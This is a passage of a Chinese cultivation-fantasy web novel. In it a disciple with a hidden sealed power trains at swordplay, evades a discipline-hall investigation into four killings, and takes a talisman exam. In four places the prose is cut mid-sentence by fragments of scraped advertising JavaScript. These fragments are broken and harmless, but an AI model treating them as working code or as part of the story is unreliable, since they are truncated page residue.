她的孪生弟弟杜景辉也在旁帮腔:“不错,她自己身体不好,能怪得了谁!” 彭笑寒飞去一个危险的眼刀:“你说谁装的?要不要我换我打你们,看你们给我装一下试试?” 两人瞬间把嘴闭上了 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 。 许子墨眯起眼睛,再加码:“那咱们去药阁验验伤,看是不是你们的问题?然后去禀报薛长老主持公道。” 杜雨兰杜景辉哪里会想到,孟莘一个初初入门的小弟子,昨夜能发生那种事?被许子墨一诈,都立刻怂了。 杜雨兰慌忙从须弥戒中掏出两百灵石扔过去,“好好好,算我倒霉,这些灵石拿去,给她治伤行了吧!” 许子墨还想再讲讲价,但邵鸿轩已经没眼看下去了。 邵鸿轩隔空扔来一颗丹药,被彭笑寒稳稳接住。 “这是一枚玄级疗伤丹,保她明早恢复如初,此事到此为止。”邵鸿轩厉声结束了争执。 许子墨见好就收,捂住彭笑寒还想争辩的嘴,“好嘞,我们这就带孟莘回去休息。” * 戒律堂,禁闭室。 范济躺在床上,已经不知道这是他被关进来的第几天了,更不知道那四人有没有听从他的安排,把梁如安杀掉。 外人没法进这里来探望他,所有消息他都一概不知,焦虑极了。 咚咚。 有人叩响了门,范济抬头一看,窗外站着一个身材挺拔的青年。 范济眼中一热,立刻扑过去,“表哥,你又来看我了。” 能出现在这里的,自然只能是戒律堂的人。他表哥范毅,通会期修为,内门戒律堂掌刑弟子。 范毅似乎有点难以开口,半晌才叹了口气,“你在外门那四个朋友,就在昨夜,魂灯先后灭了,我们还没找到尸体。究竟是发生了什么事,戒律堂还在调查。” “一夜之间......全死了?” “不错,前后不超过一个时辰。” 范济感到一股冰冷的寒意从他的脊背上窜起。 半夜、四个人一起、不超过一个时辰...... 最近还能有什么事,让这四人在半夜聚在一起,然后被人齐齐杀掉? 死而复生的梁如安、明明是个二星却突然测出三星的梁如安猛地浮现在他脑海。 范济眉心一跳,忽然伸手抓住了范毅的胳膊,“是梁如安!一定是梁如安干的!” “梁如安?”范毅皱着眉,“那是谁?你为什么这么肯定,她和你们有仇?” 范济突然梗住了,虽然表哥一向照顾自己,可毕竟也是戒律堂弟子,真的能把他们害死梁如安的事情告诉他吗? 念头一转,他含糊道:“这个梁如安总是诋毁三峰主的清誉,那四个家伙看不惯,可能会去找梁如安的麻烦,要说谁跟他们有仇,我觉得就是梁如安了。” 范毅虽然觉得有些违和,不过还是说:“我知道了,我还有公事,先走了,你不要荒废修炼。” 范毅告别范济以后,跟同门打听梁如安。 “梁如安?哦哦,我知道她,她现在好像是叫孟莘,前不久刚拜入外门。” “前不久?”范毅皱眉,“那她修为如何?” “不知道,不过肯定也就刚刚炼气吧。” 一个才入门的弟子,怎么可能连杀一个六级、两个七级、一个八级呢? 表弟也真是糊涂。 范毅很快把孟莘排除了嫌疑。 16. 第 16 章 傍晚时分,孟莘悠悠醒转,映入眼帘的就是宿舍的屋顶,屋内一片空荡,彭笑寒也不在。 不知道为什么,萦绕在她身上的那种跗骨之痛竟然减轻了很多,她爬起来,对着镜子掀开衣服,发现那些淤痕有消去的痕迹。 她原意是借着剑术课的对战,给自己的一身伤找个合理解释,但看现在这情况,是还讹到了治疗? 孟莘心中一喜,她虽然解决了高矮胖瘦那四人,但还有一个二十多天后就会出来的范济,他修为已经到了筑基期,最是不好对付,伤口会拖累她积攒实力的步伐。 但现在,有些步骤就可以比她的原计划提前了。 孟莘听到屋外有动静,把自己收拾妥当,然后推门而出。 正是用木剑对练的彭笑寒和许子墨。 许子墨大汗淋漓满脸哀怨,体力不支地勉强躲着彭笑寒的剑招,“姑奶奶,被人打残的又不是我!你训我干嘛呀?” 彭笑寒冷笑,出手时却毫不手软:“当然是不想看你哪天也被人打成那样!你不是说你的敌人很危险吗?看看你这身手,你碰到哪个敌人不危险!” “但你这个对练明显超出了我的水平,咱也不能这么揠苗助长吧!”许子墨痛苦哀嚎,忽然余光瞥见孟莘,宛如见到救星一样眼里一亮:“被打残的那位醒了,快,彭笑寒,上去训她!” 彭笑寒果然收了剑,远远打量了孟莘片刻,感慨了一声:“没想到邵长老给的药这么好用。” 孟莘耳朵一动,“我的伤是邵长老用药治好的?” 彭笑寒摇了摇头,指向许子墨,“准确来说,是他帮你要来的。” 许子墨挤了下眼睛,把一袋灵石扔给她,一脸快夸我快夸我的表情,“还有从杜家姐弟那讹来的两百灵石,当然了,也多亏彭笑寒武力威慑,不然他们也没那么容易服软。” 孟莘真心实意地拍了拍手,“你们真的太厉害了。” 作为碰瓷的当事人,她都没好意思往讹诈丹药灵石上设想,这两位竟然帮她赚回来了,真是人才。 “这颗疗伤丹的药效有四五个时辰,不要错过这个机会,”彭笑寒抛了一把木剑过去,“来攻击我,我会给你指出问题在哪里。” 孟莘身体一僵:“今天吗?” “不错,”彭笑寒点点头,“我们内门考核时要进魔兽森林,你必须在此之前,拥有在魔兽森林自保甚至反击的能力。” 她说得如此理所当然,好像孟莘一个识海三星炼气五级,在剩下二十多天一定能筑基成功似的。 “你就不怕我根本筑不了基啊。”孟莘失笑。 彭笑寒反问:“既然你只用两三天就能炼气五级,那难道二十多天会无法筑基?虽然不知道你会用什么办法,但我不相信你会坐以待毙。” 孟莘摇头叹了口气,终于接受了,她一个机甲设计师必须从此以后打打杀杀的宿命。 “好吧,”她拿起木剑,接替了许子墨,站到了彭笑寒对面,“那就来吧。” 孟莘提剑冲了上去,直刺彭笑寒面门,彭笑寒身子后仰轻松躲过,手掌砍上孟莘上臂,她手腕一麻,木剑脱手落地。 彭笑寒:“动作太慢,身前留下的空隙太多,再来!” 孟莘看着自己的双手心情复杂,其实昨夜以一敌四那场战斗,让她对战斗有了很多感悟,战斗时机、对手的破绽,在生死攸关间她看得分明。 但那种强大是神行符赋予她的错觉,没有神行符,再好的时机,她也抓不住,没有神行符,她漏洞百出的动作轻易就能被人制服。 她不可能在每一危险时刻都有神行符保命,既然如此,那就只能通过日复一日的枯燥练习,让自己没有神行符也一样强大。 孟莘深吸一口气,提剑再冲上去。 不得不说,彭笑寒真的是孟莘见过的最好的老师,尽管彭笑寒的实力远远不如邵鸿轩,但是她对剑法和战局的了解,却如庖丁解牛,一针见血,让孟莘对对敌有了更多领悟。 另一边的许子墨虽然嘴上抱怨,但是当他注视着那两人作战时,眼神却无比专注。 只论剑法,自己的水平比孟莘高不到哪去,看她与彭笑寒作战,让他对自己的问题有了更深的认知,更何况还有彭笑寒一直出声指点。 而彭笑寒虽然是在和剑法远低于自己的人对练,但对剑法的领悟却也在每一指导时不断积累。 毕竟,教她剑法的那个人,就是这样告诉她的。 “笑笑,你不可能永远都能碰到,比你强大却还愿意和你对练的对手,但你的剑法却不会因此停滞。” “如果你可以窥破任何一种剑术的弱点,如果你可以将任何简单或高深的剑招发挥出它的妙用,那所有这些领悟都会融会贯通,成就你的剑。” “好,下面换我攻你守,看好了!” 沧溟山的静夜里,三人都在缓缓积累自己的实力。 * 接下来几天,孟莘白天在剑术课上挨打、晚上跟彭笑寒对练,其余时间都在努力修习《无相吟》,试图提升自己的境界。 然而炼气境每一级都需要更多的灵气,更别说还要筑基,她现在又没有灵石可以炼化,按这个速度,到入门考核,她最多达到炼气八级。 “三星就是这么鸡肋啊。”她轻声感慨。 要想赶在范济出来前筑基,她必须再解开一颗星才行。 解封印这件事,如果可以,她直接七星全开,变成当世罕见的绝世天才,到时候只怕沧溟派别说欺负她,直接把她供起来都行。 她并不是不想,她只是做不到。 女妖的封印的层层嵌套,越到内层越精妙难解,对灵力的需求也就越高。 她现在炼气五级的实力,只能硬着头皮上了。 孟莘精神力缓缓沉入识海,小心翼翼地去碰触女妖的封印。 她在原本的世界,已经是当世罕见的铭文大师,但是在女妖面前,却不能承认,自己是小巫见大巫了。 这种复杂程度,她连把全貌看清都很困难,只看了四分之一,她就感觉脑袋一疼,赶忙把精神力撤 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 了出来。 没办法,看来只能一点点来,先把这四分之一解了再说吧。 * 经法课上,薛长老继续讲授符文,偶尔会留点功课,让弟子们尝试自己绘制。 不出意料,绝大多数弟子都一塌糊涂,杜雨兰杜景辉姐弟已经能画出完整的符文,彭笑寒似乎在符法上没什么天赋,全凭强悍的灵力发挥威力,倒是许子墨画得相当不错。 他特意赞了一句:“许子墨,你对符法颇有见地,或许将来入内门可以选择符修,你们其他人也要多向许子墨请教。” 众弟子们纷纷向他投去羡慕嫉妒恨的眼神。 许子墨其实是有点爱显摆的,但是夸他符文好,他就不能不汗颜了,他悄悄觑向后面的孟莘,也不知道这位真·符法天才最近在干嘛,为什么搁这里隐藏实力。 薛长老此时也想起孟莘上次画的那一笔,心想或许他没看错,孟莘确实是位符法上的可造之材。 他犹豫着翻开孟莘的功课,一道画了一半就歪了下去的符文扑面而来,薛长老“啪”一下就把那页纸翻过去了。 他幽怨地望向讲堂最末,哼了一声,他就不该对这家伙抱有希望! 孟莘哪里知道薛长老的小心思,她最近光是解封印就把精神力和识海掏空了,剩不下一点留给他布置的那些功课。 下午的剑术课,她对上了杜景辉,杜景辉虽然不敢下死手再被碰瓷,但是新仇旧恨加一起,当然也不客气。 孟莘在他手下也是继续挨打。 在她又被累瘫之时,杜景辉仿佛碰到了什么脏东西似的,一下子跳开,“哼,你别又给我装晕,我可不会再上一次当!” 孟莘敷衍地点点头,“知道了知道了,我就是跑不动了行了吧?” 杜景辉瞥着她毫无形象的坐姿,嫌恶道:“废物就是废物,和你这种废物对练,对我毫无益处,真是浪费我的时间。” 孟莘轻轻嗤了一声,连彭笑寒都没说这话,他一个五星倒是大言不惭。 杜景辉看到她的神色,被气到立刻挥剑:“你给我起来!再来!” 孟莘毫无异议。 为了能抗住解封的痛苦,她必须多多战斗,拓宽自己的经脉,更何况,她也是在试着化用从彭笑寒那里得来的经验。 可惜暂时还未见成效,到剑术课结束,她也是单方面挨打。 虐完孟莘,杜景辉得意地去找他姐姐会和了。 倒是邵鸿轩若有所思地看着孟莘。 是他的错觉吗?他觉得孟莘应对时似乎自如了许多。 “走吧,吃饭完我们继续练,”彭笑寒招呼孟莘,看她神色郁郁,怕她被打击到,还安慰她一句,“剑法是厚积薄发的东西,你暂时输给他,却不会一直输给他。” 孟莘本来也不是因为这个才不高兴的。 这些天她晋升至炼气六级,封印成功解了一半,却在第四分之三处犯了难,无论如何都找不到思路。 “你和许子墨先练吧,我想一个人先静静,待会再回。” 17. 第 17 章 孟莘来到了紫竹林,今天这儿依然没有人,凉风习习、景色清幽。 孟莘深深呼吸了几遍,然后拍了拍自己的脸。 冷静、冷静,她可是首席机甲师,绝不可能有她完全解不开的谜题。 一定是她忽略了什么,走近了死胡同。 她顺手折了一根细竹,在满地落叶间画了起来。 平日里她害怕把女妖铭文留在纸上,不小心被人看见会发现她的底细,只敢在脑中默算,大大增加了难度。 而此地无人,在树叶上作画,风一吹就散了,没人能抓住她的把柄。 她先是把她困惑不解之处画完,接着开始用竹竿去解。 “我原本是这样解的,但这就落入了圈套,究竟是从哪一步开始错了?” 孟莘抱着胳膊,冷静地审视着铭文的全貌。 一炷香之后,她眼睛一亮,将原先解法通通舍去,从斜对角刺入,宛如一支奇兵,蜿蜒辗转,直刺主帐! “解了!” 她立刻扔掉细竹,沉入识海,去实验她的解法,果不其然直通封印的最后四分之一。 解封耗尽了她的精神力,她只能暂且收手,看着清风将地上留下的痕迹吹散得一干二净,这才放下心,恋恋不舍地回去跟彭笑寒学剑。 然而孟莘万万没想到,这里会来一位特殊的不速之客。 日头西沉,薄暮时分。 “公子公子,楼主说你在沧溟派逗留太久了,我该怎么回他?” 先飘来的,却是一个脸上只开着一道缝充作嘴巴的纸人,它手中还捧着一块玉牌。 正是孟莘入门当天,那个神秘客院里,同祝雁灵拌嘴的纸人。 “尽管让他去说,不必回他,如果他真能做些什么,那我也不必到沧溟派来了。” 随着一声清越的男声,一位用白色绸缎蒙住眼睛的青衣青年走了过来。 青年看上去二十多岁,眉峰挺拔,骨相清晰锋利,是神仪明秀的长相,偏偏皮肤却如祝雁灵所言,透出一种身有暗疾的苍白。 一眼望过去,总让人疑心是个瞎子,偏偏他行走时神色如常,遇到竹节、石块都一一避开,仿佛那绸缎根本没遮住他眼睛似的。 正是那位让沧溟派大感麻烦的鉴天楼少楼主沈修然。 沈修然忽然脚步一顿,轻轻地“咦”了一声。 纸人立刻飘了回来:“怎么了公子?” 沈修然静静感受了片刻,“这里有符文留下的痕迹。” 纸人“哦”了一声,“兴许是哪个沧溟派弟子在这里练习画符吧。” “不,这个符文......”沈修然摇了摇头,话头突然止住,他伸出右手,五指张开,嘴里轻轻念过一句晦涩咒文。 随着咒文落下,竹叶轻轻抖动,林中忽而生出一阵奇怪的微风,须臾之间,孟莘于半个时辰前留下的印记,重新浮现出来,不差分毫。 沈修然静默了片刻,随即低声喃喃:“果然,这不可能是哪个弟子在画符,分明是一场对局,出题的那人必然是位深不可测的高人,其中之奥妙,恐怕修为不会低于化神境。” 纸人十分护短,一听这话立刻维护:“但公子你一定解得了。” 沈修然失笑,“你倒是看得起我,这符法之精妙,远超我的水平,况且解题那人已经把它解开了,这解法奇诡惊险,却是我万万想不到的。” 纸人怪叫了一声:“那说不定是沧溟派的九峰主梁英,他是符修大师,当然解得开。” 沈修然摇了摇头,“梁峰主因循守旧,想不到这样的思路。” “十峰主韩晓蝶?她虽然是器修,但是符法也是精通。” “韩峰主这些年不知为何心境受困,从何生出这种惊世骇俗之作?” “那说不定是祝师姐,她今年宗门大比以后已经晋升至玄明境,现在仅在各峰主以下。” “祝雁灵虽然天赋非凡,但是为人循规蹈矩,不会是她。” 纸人抓了抓自己的纸片脑袋,“那我想不到还能是谁了。” 沈修然同样叹了口气,“我也想不到,沧溟派竟还有这样的妙人。况且此人解符文时,灵力控制得精准如斯,竟然不超过炼气级的灵力,必然已经修炼多年,才有这样巧妙的控制力。” 沈修然哪里想得到,这纯是因为孟莘此时只有炼气六级的实力,他心中掠过数个猜测,最后凝重道:“看来沧溟派还有藏着的底牌,我们以后行事还要更加小心才好。” 纸人似乎也被自家主人说得严肃起来:“那该怎么办,要不要监视这里,探探那人虚实。” 沈修然摇了摇头:“不可,何必无故与人交恶,这位高人未必就是我们的敌人。” 他沉吟片刻,“我正巧想到了一个新的解法,不如同那位高人探讨一番。” 说罢,他就想依孟莘的方式,在竹林中画出来。 纸人拍拍手笑道:“公子,你能看得见,是因为你修的是鉴天楼的天地道法,而且对方留下的灵力未散。那人要想看见你画的符法,岂非也得是我们鉴天楼的人?” 沈修然一怔,也觉得好笑:“是我糊涂了。” 他从须弥戒中拿出一页纸,将自己的解法画上,手指轻弹,那页纸宛如飞刀钉入一根竹子上,“只是我的解法却远没有那位高人那样精准,倒是献丑了。” 纸人微微惆怅:“也不知道那位高人什么时候来,会不会被别人捡走了。” 沈修然只是微笑:“缘法自然,如果对方看不到,便说明我们只有今日一天的缘分,强求不得。” * 孟莘是在两天后才再去紫竹林的。 她一鼓作气想把封印全部解完,却还是遇到了阻滞,这时她又想起来了紫竹林这片福地。 孟莘来到熟悉的故地,正要像上次一样画符文,一抹刺眼的白却跃入了她的余光。 她定睛一看,气不打一处来。 好啊!是哪个混蛋在这么清幽一树林里留下垃圾不带走的! 孟莘怒气冲冲地跨步过去,扯下纸页,正打算看看上面有没有能透露出身份的信息,却被映入眼帘的符文吸引了全部注意。 这页纸上只画着没头没尾三个符文,换了其他任何人看来,都是没什么意义的废纸。 但孟莘研究女妖符文何其之久,早已把它的每一笔都熟稔 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 于心,一眼就看出,三道符文,解的就是上次她在紫竹林画出的那部分。 这三道符文画的是关键之处,她闭上眼,轻松就把没画出的部分勾勒了出来。 孟莘霎时冷汗直流。 为什么? 她明明是画在了竹叶上面,走之前也确认吹散了,为什么会有人知道她画了什么? 她又哪里想得到,这纯是因为鉴天楼功法特殊。她心中掠过数个想法,最终惊悚地抬起头,仰望着这片树林。 莫非......在她画符文时,有人就在树林里旁观?而以她的精神力,竟然毫无察觉。 那得是什么境界的高人? 这人什么时候开始在紫竹林的?那晚她预备去杀人时这人在不在?现在又在不在? 孟莘强迫自己冷静下来,既然她没被抓去问话,那只有两种可能。 要么这人没看见自己杀人,也没发现符文的古怪之处;要么这人发现了,但是对她没有恶意。 暂时,还不会有危险。 想通这些,她再去推演那人留下的符文,发现这完全是另一种风格的解法,轻灵飘逸,将机锋化解于无形。 正因为风格迥异,非常新鲜,孟莘推演着推演着,觉得自己未必不能吸收一下这种风格的优点。 好像自己碰到的那个阻滞,有了一些新的思路。 孟莘心情复杂,仅仅从符文角度,她很难不心生欣赏,如果是在其他时候相遇,她一定很乐意去结交一番,但是对现在的她来说,这人也太危险了。 紫竹林于她而言,再也不是安全的福地。 她又下意识望向树林深处,不知道那人是否正在某处看着她的一举一动。 她不想惹到这样的高人,想了想,在纸上画了一道自己的自创符文。 符文用到的灵力不多,并不艰深,但可以确定这个世界上没有,就权当回报对方启发自己了。 她把符纸贴在竹子上,尽量神色如常地离开了。 * 却说戒律堂查案已经查了快十天,却连高矮胖瘦那四人的尸体都没找到。 身为掌刑弟子、这次案件的领头人,范毅愁得头发都掉了一把,忽然一同门不敲门就闯了进来,大叫道:“范师兄!找到那晚见过他们的人了!” 范毅大喜,立刻起身,“那人在哪里?快带我去见见。” 两人快步走到戒律堂门外,那里正等着一个瘦瘦高高的外门弟子。 “这位师弟,你确实看到了?”范毅急急问道。 那弟子憨笑一声:“本来我也没想起,但是你们说这四个人一高一矮一胖一瘦,我就想起来了。那天晚上我在山上散步,突然看到四个人往秋霜林的方向去了,秋霜林那么偏僻,谁没事干大晚上去那里啊,所以我就记住了。” 送走这位弟子,范毅立刻安排人去秋霜林搜查,自己则去翻当夜执勤的册子,他倒没觉得执勤弟子会杀人,只觉得这是个线索。 “秋霜林、秋霜林......” “找到了!” “当晚半夜执勤的人是,齐曼雪、孟莘、郭浩波......嗯?孟......莘?” 18. 第 18 章 孟莘有了新思路以后,又用了两天,终于确定了封印的全部解法。 吃过晚饭,她告诉彭笑寒,她今夜有事,不参加练剑,待会她入定时也别叫她。 准备妥当,她就沉入识海,预备要解封了。 “师兄!这是女舍,你不能进去!” “有什么事先跟我们说!” “滚开,我戒律堂的事还轮不到你们外门弟子干涉!” 一阵喧哗后,“砰——”屋门从外面被撞开。 孟莘直接从入定状态中惊醒,惊疑不定地看着走进来的那个凶神恶煞的师兄。她不知道这是什么人,却无端觉得有些眼熟。 范毅大步上前,冷冷审视着面前的少女,“你就是孟莘,也就是梁如安?” 又是来找梁如安的? 孟莘纳闷地点点头,无论如何也想不起,梁如安记忆里有这么一号仇人。 范毅把戒律堂的令牌举起,“我是戒律堂掌刑弟子,本月五日,丑时到卯时,你是否在秋霜林执勤?” 孟莘瞬间汗流浃背了。 怎么会?戒律堂怎么会问到那晚的事,她究竟在哪里露了破绽? 然而她面上却只能疑惑地点点头,“我是在秋霜林执勤,有什么问题吗师兄?” 范毅掏出四张画像拍在桌上,“这四人你可曾见过?” 孟莘仿佛能听到自己的心脏快从胸腔里跳出来,她把高矮胖瘦四人的面容认认真真地看了一遍,然后摇摇头:“没见过。” 范毅锐利的目光从她脸上扫过,想看出点端倪。 他最初听表弟提起孟莘,觉得她初初入门,怎么可能杀得了四个修为更高的弟子?但当他看到秋霜林执勤记录里有她的名字以后,却悚然一惊。 当真会有这么巧合的事情吗? “一次也没有?” 孟莘歪了歪脑袋,像是非常努力地思考了,但最终还是摇摇头:“一次也没有。” “你在食堂赚了一万五千灵石,这些灵石拿出来给我看看。” 不愧是戒律堂,调查得如此细致,但凡高矮胖瘦四人有这样细致,那晚她都不能得手。 孟莘直直地看着范毅的眼睛:“我拿不出来,全都用完了。” “全部?”范毅后脊突然绷得笔直。 一万五千灵石说多不多,说少不少,兴许她就买到了什么可以扭转局势的法器。 “是的,全部。” 孟莘平静地说:“我入门时只有炼气一级,就是个普通凡人,但一个月以后就是内门考核,我想拼一把,所以就把那些灵石拿来炼化,希望能来得及赶在考核前筑基。” “没想到一万五千灵石,只让我到了炼气五级,后来我没了灵石,努力修炼,也只到了炼气六级。” “不信你可以去问其他同门,他们都知道这回事,连薛和泰长老也知道,我在他课上炼化,被他狠狠骂过。” 屋外已经聚起了一堆伸长脖子看热闹的小弟子,他略过了彭笑寒和许子墨,从这两人阻挠他进门就看得出他们和孟莘关系匪浅,不可信。 他挑了一个唯唯诺诺的:“她说的是真的?” 小弟子虽然害怕,但因为说的是实话,所以还是当着范毅的可怕眼神直言:“是真的,她那时候上课下课都在炼化灵石,短短两天,就直接提到了炼气五级,薛长老可生气了,还骂她旁门左道呢。” 范毅心中飞快计算,他也曾用灵石修炼,一万五千灵石,将一个三星禀赋的人提至炼气五级,倒也合理。 他不知道孟莘依靠精神力大大提升了《无相吟》的效用,实际只用了八千灵石,但他为以防万一,却还得再确认一下。 孟莘紧张地观察他是否放下了怀疑,下一刻,却见他忽然伸出一指点在她眉心,陌生的灵力侵入她的识海,要探查究竟! 屋外的彭笑寒和许子墨彻底看不下去了。 “你给我住手!” “这就太无礼了吧师兄!” 识海对修士来说是何等重要的东西,他仗着戒律堂的身份就敢直接探查? 然而范毅是通会期修为,比他们三人高了一两个大境界,又怎么会是他的对手? 他手掌一挥就将彭许二人掀出了屋外,孟莘更是毫无反抗之法,脑袋因为他粗暴的试探针扎般疼痛。 愤怒之余,她脑中竟然还掠过了一丝庆幸,还好这人赶在她解封前来了,否则她一天之内从二星到三星,半个月内又从三星到四星,恐怕就有些解释不清了。 至于别的,连当日入门测试的天石和沧溟派结界都没看出她的底细,他一个通会期弟子哪来的本事看破女妖伪装? 范毅无论如何也没从孟莘识海中发现不对,这就是个普普通通的炼气六级三星识海。 他犹疑地撤了出来,挥剑指向孟莘面门,“拔剑,我要看看你的身手。” 孟莘气笑:“师兄,你这就有些侮辱人了吧?” 屋外的众弟子们也都稀稀拉拉地笑起来,范毅不由地蹙眉望去:“你们笑些什么?” 有名弟子胆大地说:“师兄你不知道,孟莘是我们这届剑法最差的那个,谁都打不过,有次直接被打晕过去,全靠邵长老施舍了一枚丹药,否则她现在恐怕还卧病在床呢。” 范毅的目光一一扫过这些弟子神色,发现他们对这孟莘尽是奚落嘲笑,关系不洽,自然不会帮她说谎隐瞒,心里也就信了大半。 一个识海三星、炼气六级、剑法糟糕的弟子,要是能杀掉高矮胖瘦四人,那这四人得是什么废物? 范毅收了剑,冷漠地瞥了孟莘一眼,一言不发转身离开。 “师兄,你莫名其妙跑来问我一大堆问题,还不分青红皂白地查我的识海,我现在头还疼呢,这不合适吧?” 身后少女用有些不忿的声音叫住了他,而他对面的那些小弟子们眼神也十分困惑不解。 范毅只好勉为其难地寒声解释了一句:“那四人本月五日时魂灯熄灭,已在秋霜林发现血迹,你恰好那日在秋霜林执勤,戒律堂审你不是应该?没把你提去戒律堂刑室已算开恩了。” 修真界竟然还有魂灯这种东西!孟莘暗道失策。 她面上不动声色,缓缓点了下头,“原 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 来是这样,兴许是我修为太低吧,那晚什么都没发现呢。” 范毅冷哼一声便离开了。 众弟子们倒也没有因为戒律堂的审问怀疑她,无趣地作鸟兽散了。 那可是他们本届第一大废物孟莘啊,她能有那个一挑四的本事? 彭笑寒先去确认了孟莘没事,随后抱着胳膊愤愤地看着范毅的背影,“这人竟如此仗势欺人,可惜我的修为还是太低了......” 何止是彭笑寒这么想,孟莘一想到范毅不经同意就查她识海的那一幕,就感到一种深深的不甘。 而许子墨则因为那个日期,恍惚了起来,看着孟莘的神情像见鬼似的,“不能吧......那是不是太夸张了......不对,肯定是因为别的吧......” 他摇了摇头把这些杂念放下,颇有些兴奋地跑过来,“孟莘,你知道刚才来的这人是谁吗?” 孟莘卡了一下壳,“......戒律堂的弟子?” 许子墨摇头,卖足了关子才悠悠道:“你还记得入门测试时,那个想对你动手、但被祝师姐罚了的人吗?他叫范济,刚才那个戒律堂弟子,就是范济的表哥范毅。” 孟莘一愣,这才明白了她看到范毅时那股眼熟的感觉是哪来的,竟然是因为范济。 这人不但已经知道同伙身死,还试图挑动戒律堂来对付她,只怕等下次再见时,范济就不会仅仅是筑基一级了。 孟莘心情顿时有些凝重。 “孟莘,要不要出来练剑,明天月半小考,剑术课上你恐怕不会太好过。”彭笑寒招呼她。 孟莘笑了笑:“那位范师兄打断我了,我还得再修炼一会儿,如果有时间就去。” 每个人都有自己的秘密,彭笑寒也没问她入定是要做什么,点了点头,便直接关上门出去了。 孟莘深呼吸几次,平复情绪、清除杂念,重新沉入识海。 她的精神力小心而精准地缠上女妖铭文,开始了一场新的博弈...... 半个时辰过后,孟莘缓缓睁开眼睛,眸中闪动的猩红光影在漆黑房间内一闪即逝。 四星识海! 孟莘重新运转《无相吟》,她对灵力的吸纳速度提升了一大截,辅之以精神力,这种速度说不定可以和五星比肩。 在范济从禁闭室出来前,完成筑基便有了一丝可能。 只是从三星到四星,对她的影响就如此之大,孟莘是真想再多解开一颗啊。 但是第五颗星的可怕灵力威亚,却是她碰也无法碰触的了,她只能安慰自己,四星也很好了,比三星好多了。 她定下心,开始引灵气入体,半个月从炼气六级到筑基,就算升了一个星也不会简单。 而屋外练剑的彭笑寒许子墨两人,却都不约而同地停了下来。 彭笑寒注视着她们的屋子,若有所思:“你有没有感觉到,她周围的灵气流动快了许多,甚至在杜雨兰杜景辉之上。” “当然发现了,”许子墨眼里闪动着奇异光彩,喃喃自语:“如果是这样,那或许还真是她干的......” 19. 第 19 章 “今日我们举行月半小考,本次考核不会影响内门晋升,主要是希望诸位认清自己的实力,剩下半个月静心修炼,不留遗憾。”薛长老在台上宣布。 “而我们经法课的题目,就是请诸位作一张符,一张你们目前能作出的最强大的符咒,以一个时辰为限,诸位开始吧。” 画符既能考验弟子对符咒的理解,又能从符咒中透出的灵力判断修为,作为经法课的题目再好不过。 孟莘提起笔,犹豫了一下。 画符自然不难,她解开封印以后,再也不会每天都识海枯竭画不出来,问题是她该画到什么程度。 昨日戒律堂刚来找过她,她绝不适合在这时画得太让人意外。 然而半个月后的内门考核,在魔兽森林她一定是要拿出真实力才有可能赢的,总不能半个月突然就改头换貌,那太古怪了。 因此今天的这次小考,她需要拿捏一下其中尺度。 思考片刻,她终于落了笔。 一个时辰后,众弟子纷纷把符纸交了上去,在座位上神情各异地等着薛长老的评价,堪称时读书最恐怖桥段。 “周慕!你画的是什么鬼画符,只有丁等!就这种领悟力和灵力,再不专心修炼,明年你也筑不了基!” “萧乐,炼气八级,修为尚可,加把劲也许赶得上入门考核筑基,但你的符文画得也太差劲了!丁等!回去多练!” ...... 薛长老平日里脾气尚可,但今日点评起符咒,却是一点也不留情,说得小弟们都纷纷低下头去,羞惭难忍。 “嗯?这一个......”薛长老眼睛一亮,“凝神符,筑基五级,笔势精准,甲等!许子墨,如果将来你想做一名符修,想必会有不凡成就。” 许子墨谦虚地笑了笑,心里却早把符修排出了备选。做符修那不是永远在孟莘这座大山下活着了?他才不要! “彭笑寒,筑基五级,炎符,威力相当不错,不过,灵力白白耗费太多,作战时有这些灵力,还不如你多用几个剑招,”薛长老哭笑不得,只能眼馋邵鸿轩倒是得了个好苗子,“乙等!” 彭笑寒稍稍塌了下肩,每一个少年成名的天才都是有些傲气的,可惜她在符法上虽然努力,却收效甚微,大概是真没天赋。 “嘿嘿,”许子墨低声朝她挤眉弄眼,“怎么样彭师傅,也有您受挫的时候吧?” 彭笑寒并手成刀作势在脖子上一划,“晚上练剑时你等着!” 孟莘真是没眼看这两幼稚鬼,觉得快到她了,稍稍坐直了身子,有点好奇薛长老会怎么点评她。 然而下一个并不是她,而是杜雨兰。 “杜雨兰,风符,筑基一级,笔锋流畅自然,颇和道法,乙等!”薛长老捋着胡子赞道。 “杜师姐你好厉害!才入门半个月就是乙等了!” “竟然和六星的彭笑寒是一个级别!” 诸弟子们都纷纷向杜雨兰祝贺,杜雨兰僵着脸谢过,她自觉这张符画得够好,竟然只是个乙等。 这老头也太势利了,不过是看着许子墨是个六星,便非要她作为五星矮他一头。 杜雨兰却不想六星的彭笑寒也是乙等,只认为是薛和泰偏私,心里万般不忿。 她之后跟着的就是她弟弟杜景辉,二人不愧为孪生姐弟,天赋秉性真是一个模子里刻出来的,也是乙等。 “这一张......”薛长老看到最后,忽然一怔。 孟莘瞬间坐直了身体。 只剩一个人的符咒没被点评到,这张符咒的归属毫无疑问,自然是孟莘。 薛长老对孟莘的观感相当复杂。 虽说她最开始利用灵石,两天时间提升到炼气五级,但他看得清清楚楚,那以后她就规规矩矩修炼了,并没有再走捷径。 十天时间,晋升至炼气六级,对于一个三星来说,不可谓不努力。 她交上来的这张符,每一笔一画都浑然天成,远超许子墨,单论精准程度,评个甲等没有任何问题。 可是,她画的怎么会是最基础的、她上次出了丑的避水符? 说孟莘不是针对他,薛长老是不信的,他冷笑了一声:“孟莘,避水符,画得不错,但是选的符咒太基础,乙等!” 彭笑寒和许子墨简直疑心自己听错了,他们见鬼似的看着她:“你到底是怎么了?” 孟莘耸了耸肩,薛长老只评了个乙等也是她没想到的,但是也无所谓,乙等就乙等吧。 杜雨兰和杜景辉却是脸色立刻阴沉了下来,比不上六星也就算了,她孟莘一个三星,凭什么和他们一个等级? 下午剑术课。 邵鸿轩宣布:“今日月半小考,两两一组到我这边来比,不再攻守互换,而是以一炷香为限,打败对手者为优,点到为止不可伤人。” 